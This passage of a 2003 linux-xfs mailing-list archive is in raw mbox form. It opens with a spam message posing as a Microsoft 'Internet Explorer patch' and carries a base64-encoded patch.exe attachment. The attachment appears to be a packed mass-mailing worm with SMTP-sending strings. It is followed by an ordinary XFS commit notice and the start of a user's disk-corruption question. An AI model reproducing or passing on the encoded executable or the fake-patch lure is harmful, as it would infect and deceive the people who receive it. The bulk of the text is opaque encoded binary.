(8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8UBPvq0009558 for ; Tue, 30 Sep 2003 04:25:57 -0700 Received: from corsair.sgi.com (corsair.sgi.com [192.48.168.24]) by ledzep.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8UBPulm19851453 for ; Tue, 30 Sep 2003 06:25:56 -0500 (CDT) Received: from corsair.sgi.com (localhost.sgi.com [127.0.0.1]) by corsair.sgi.com (8.12.9/8.12.9/freebsd-sendmail_sa_midwest-2.1) with ESMTP id h8UBPtGh089700 for ; Tue, 30 Sep 2003 04:25:56 -0700 (PDT) Received: from localhost (wan-vc8f42b.chi.biz.mindspring.com [216.135.144.75]) by corsair.sgi.com (8.12.9/8.12.9/freebsd-nospam-3.3) with SMTP id h8UBPABD089602 for ; Tue, 30 Sep 2003 04:25:10 -0700 (PDT) Date: Tue, 30 Sep 2003 04:25:10 -0700 (PDT) Message-Id: <200309301125.h8UBPABD089602@corsair.sgi.com> From: "Microsoft" To: Subject: Use this patch immediately ! MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="xxxx" X-archive-position: 582 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: security@microsoft.com Precedence: bulk X-list: linux-xfs Content-Length: 12913 Lines: 225 --xxxx Content-Type: text/plain; Content-Transfer-Encoding: 7bit Dear friend , use this Internet Explorer patch now! There are dangerous virus in the Internet now! More than 500.000 already infected! --xxxx Content-Type: application/download Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=patch.exe TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dy YW0gbXVzdCBiZSBydW4gdW5kZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMA/Cw7qgAA AAAAAAAA4ACPgQsBAhkAIAAAABAAAABwAABAmwAAAIAAAACgAAAAAEAAABAA AAACAAABAAAAAAAAAAMACgAAAAAAALAAAAAQAAAAAAAAAgAAAAAAEAAAIAAA AAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAAKAAABwBAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAVVBYMAAAAAAAcAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAA gAAA4FVQWDEAAAAAACAAAACAAAAAHgAAAAQAAAAAAAAAAAAAAAAAAEAAAOBV UFgyAAAAAAAQAAAAoAAAAAIAAAAiAAAAAAAAAAAAAAAAAABAAADAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 d2hvaXM2ADcAW/sDthh0K2Vnb2xkLRwmafsXkP1uZy5jb22iVVNFUiB3AThg vzVVTklDSyAdSk/WPkg01kw5MTFsoSJWpkKAFU1EiSHADitrR3PUIBfZCAoR 8aZrIH0VAxwEBwXG7ALcNQS9A00TQD0aCzV2IuwND2Y8QA8GrFleBEGgYBMR rhvCasRfHhssA5umaZo6SFRcaHhBmu41ZyOIklcDqLJpmqZpvMza5u7bNMum /ARCDBQeQmPiN64gS1dORUwzMqdZ46/yV1NPWAseoYOV/0V4aXRQcm9jZQ1U aKq23zjBQx1zZUhhbiplbmNfamwOcmNweZNTEWVw2W7kwRNsZW5DNnRlPUj/ BWhKVGlja0NvdW5cbt/3pUdubmVjCmNXc3NrZWPlr/0NYmlgU2FjYylsP7Wv tWlWVAlnIYZieW6dS9/eYW2DvEFTdGGsdXBbdretOB5fXG9hXmh0cyHvzbY2 toFuIRXmZLN2bpNjdnZrfIiy2bBhXwD/v9kOEAaMKDA3ME4wUzBgMH8wnDCX +v//pjC7MB0xNzFKMXgwhTBvMb8yDzMhGzJD/////zJKMlEyeDKuMuwyCjNQ M2wzhjOQM6YzwjPVM/EzBDQQ/////zQmNOU09TQKNRw1PzVFNUs1UTVXNV01 YzVpNW81dTV7iP///zWBNYc1jTWTNZk1nzWlNas1sTW3Nb01wzXs/7vBYxgG pDOoM6wzszO3M7szAADgh4ooSEVMTyAtMMAFkWFs5qr9////TUFJTCBGUk9N OiA8YWRtaW5AZHVtYS5nb3YucnU+A3jd3yBSQ1BUIFRPHgAOILd35p0GUVVJ VAJGcm9tHCJN7P/222ljCHNvZnQiKHNlY3VyaXR5QG0Ug+0cMTU9VG9GU+C2 NeB1Ymr8DVUrIHSX4P8vQ2F0Y2ggaW1tZWRpN2x57e3/2yAhJk1JTUUtVmVy c2lvbisxLjASBfyttUMJHQItVHlwZTq3bQm+cWx0aXABL2p4OTtirfu2BF1k Dnk9IngAIi7bRvZ2oC0tCzkKeDTtB2x7cGxh8DsacmFuc2Zv7daI7S1FbrBk 7Sc3YsiXoN1+RkRlViBm1TEgLC9Bd9ggdbZJOHJ3IEV4dg/WbkxvcgvIbm93 v1Rotdbc1hAoYQOUTAusa+6tnTF2aXIFWz9lPr45d7YvTUEXKyA1MDDdo7bW 7QA7bCgvZhfY2wwv4SGL0WFtQyu0cIFvfSsvZE7biay1bo442mJhxTZohe2y NCJEz3Ct7rduu0VsR3Rhx20XO/ZpbFgY64JlET3bLjllu9uWRViIAS4PXHdp dHv5fxsuBGcAXCouKgAuaHRtd2FiCTZzeRtsD2RieHRiE2QWshfWIzJDOkIM QlwIBrguAF7G3Jv9ADpTVFJdiEMQIC8qRtAghGrixpMQ4kRMTMFlZ0JcaBtB clMCfGNl3nR87g1cWyJFU6N3GsFkNKdcxly6GIaNG0VzXEPKcgWFiDbbOFxS YAA4QMHZ2NYzGmdAdy0A0m37GvoLLgJpH3Z4UC8Yg7WTYmUgDFqj3WitqG90 zgFB196s2wV5nG0xRqQiEYQEhg0KCIKyVQARVpKkA2DZTASMUFEBb54NA74J bXBHbG9i57MW9GFsQWwfFmxlbg3or+JldFOjRGlyhKAxAN5vcjXeRlBA3jUZ DERlbGW0O6ANZUlvVnJvbBCrOCABUwFG4ftmJWhOeyxbVFhIAO9vcA1OYW0R Zda62wseRm1tDUw3L80c0A9Ecml2ZfIO+7Llj4J0dHJpYnVzE1NpekCWLWs/ TW9kdQ5hE4ngm81lEaBBu+wNexbxdGSEspXX2htCIRByl63YJbzCb0NaPWQa UMBubyUDcnPqS7aEGVNHURDM5wpdXVJSMfdT2YHFgHcrU+25oA9bE1BvaUoK 7gvAD4oBaXa3oTXXOAgqF4pzb4QYxmazDmMKUEy73aEzx/1mM1huZyZfbN53 cLNj8AjoCHcvNBtbMC4RQUuZ9NvbJehgT3CrS2V5c0EXcxFiDi4PDKJms7lb VuJ1ZRw0pjRSdIRgQfribm6azbUX3X+LI7IEBRfAdkN0mmM29wJwgKsFpWMF 8AXgDcEBOyEEjOUBFgFjTriEADcIWAGEgEsIKwEVhBExuwEfHVlGJvn8LDuq jx4sQi6SCzCA8ivkL2AAALYFcAAAuICcDBQgHjjfG3Jg9wMkBrvIiB1gS0hO LjIiHXBOAtzvSFAbPGKWAAAANNIAEgAA/wAAAAAAAAAAAABgvgCAQACNvgCQ //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D 7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UH ix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmL HoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsC g8IEiQeDxwSD6QR38QHP6Uz///9eife5NwEAAIoHRyzoPAF394A/AHXyiweK XwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AcAAAiwcJwHQ8i18EjYQw AJAAAAHzUIPHCP+WZJAAAJWKB0cIwHTciflXSPKuVf+WaJAAAAnAdAeJA4PD BOvh/5ZskAAAYelsc///AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIygAABkoAAAAAAAAAAA AAAAAAAAmaAAAHSgAAAAAAAAAAAAAAAAAACmoAAAfKAAAAAAAAAAAAAAAAAA ALKgAACEoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC+oAAAzKAAANygAAAAAAAA 6qAAAAAAAAD4oAAAAAAAABShAAAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMy LmRsbAB3aW5pbmV0LmRsbABXU09DSzMyLmRsbAAAAExvYWRMaWJyYXJ5QQAA R2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnQ2xvc2VLZXkAAABJ bnRlcm5ldEdldENvbm5lY3RlZFN0YXRlAAAAc2VuZAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBsFgCm AAQAAAAAADRsAAAAAAAATGwAAAAAAABgAAAAAAAAAHxsAACEAF7GlGwA --xxxx --xxxx-- From owner-linux-xfs@oss.sgi.com Tue Sep 30 07:17:33 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 30 Sep 2003 07:18:13 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UEHXFx025196 for ; Tue, 30 Sep 2003 07:17:33 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8UEHRq0025928 for ; Tue, 30 Sep 2003 07:17:28 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8UEHRcc11909682 for ; Tue, 30 Sep 2003 09:17:27 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8UEHRSn29508302 for ; Tue, 30 Sep 2003 09:17:27 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8UEHQKZ024257 for ; Tue, 30 Sep 2003 09:17:27 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8UEHQKD024255 for linux-xfs@oss.sgi.com; Tue, 30 Sep 2003 09:17:26 -0500 Date: Tue, 30 Sep 2003 09:17:26 -0500 From: Steve Lord Message-Id: <200309301417.h8UEHQKD024255@jen.americas.sgi.com> Subject: TAKE 901598 - make unwritten extent conversion more efficient To: linux-xfs@oss.sgi.com X-archive-position: 583 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 512 Lines: 18 When calculating the number of pages to probe for an unwritten extent, use the size of the extent, not the page count of the pagebuf which is initialized to zero. Date: Tue Sep 30 07:16:49 PDT 2003 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:159206a linux/fs/xfs/linux/xfs_aops.c - 1.50 - calculate the last page to probe from the extent size rather than the pagebuf page count. From owner-linux-xfs@oss.sgi.com Tue Sep 30 13:22:52 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 30 Sep 2003 13:23:32 -0700 (PDT) Received: from michelle.lostinspace.de (michelle.lostinspace.de [195.143.155.12]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UKMpFx011518 for ; Tue, 30 Sep 2003 13:22:52 -0700 Received: from server.idefix.loc (Host-1076.I-DIAL.de [193.149.53.14]) (authenticated bits=0) by michelle.lostinspace.de (8.12.9p1/8.12.9) with ESMTP id h8UKMm9J060783 for ; Tue, 30 Sep 2003 22:22:50 +0200 (CEST) (envelope-from idefix@fechner.net) Received: from localhost ([127.0.0.1]) by server.idefix.loc with esmtp (Exim 4.24; FreeBSD 5.1) id 1A4R1E-0004Bi-7D for linux-xfs@oss.sgi.com; Tue, 30 Sep 2003 22:22:48 +0200 Received: from server.idefix.loc ([127.0.0.1]) by localhost (server.idefix.loc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14853-08 for ; Tue, 30 Sep 2003 22:22:45 +0200 (CEST) Received: from idefix by server.idefix.loc with local (Exim 4.24; FreeBSD 5.1) id 1A4R1A-0004BW-To for linux-xfs@oss.sgi.com; Tue, 30 Sep 2003 22:22:44 +0200 Date: Tue, 30 Sep 2003 22:22:44 +0200 From: Matthias Fechner To: linux-xfs@oss.sgi.com Subject: Is this a problem of the harddisk or is the filesystem corrupt? Message-ID: <20030930202244.GB15637@server.idefix.loc> Mail-Followup-To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Crypto: GnuPG/1.0.6 http://www.gnupg.org X-GnuPG: 0x1B756EF6 User-Agent: Mutt/1.5.4i X-Virus-Scanned: by amavisd-new at fechner.net X-archive-position: 584 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: idefix@fechner.net Precedence: bulk X-list: linux-xfs Content-Length: 700 Lines: 18 Hi, i have here very unice behaviour, since one day. I found in the log file 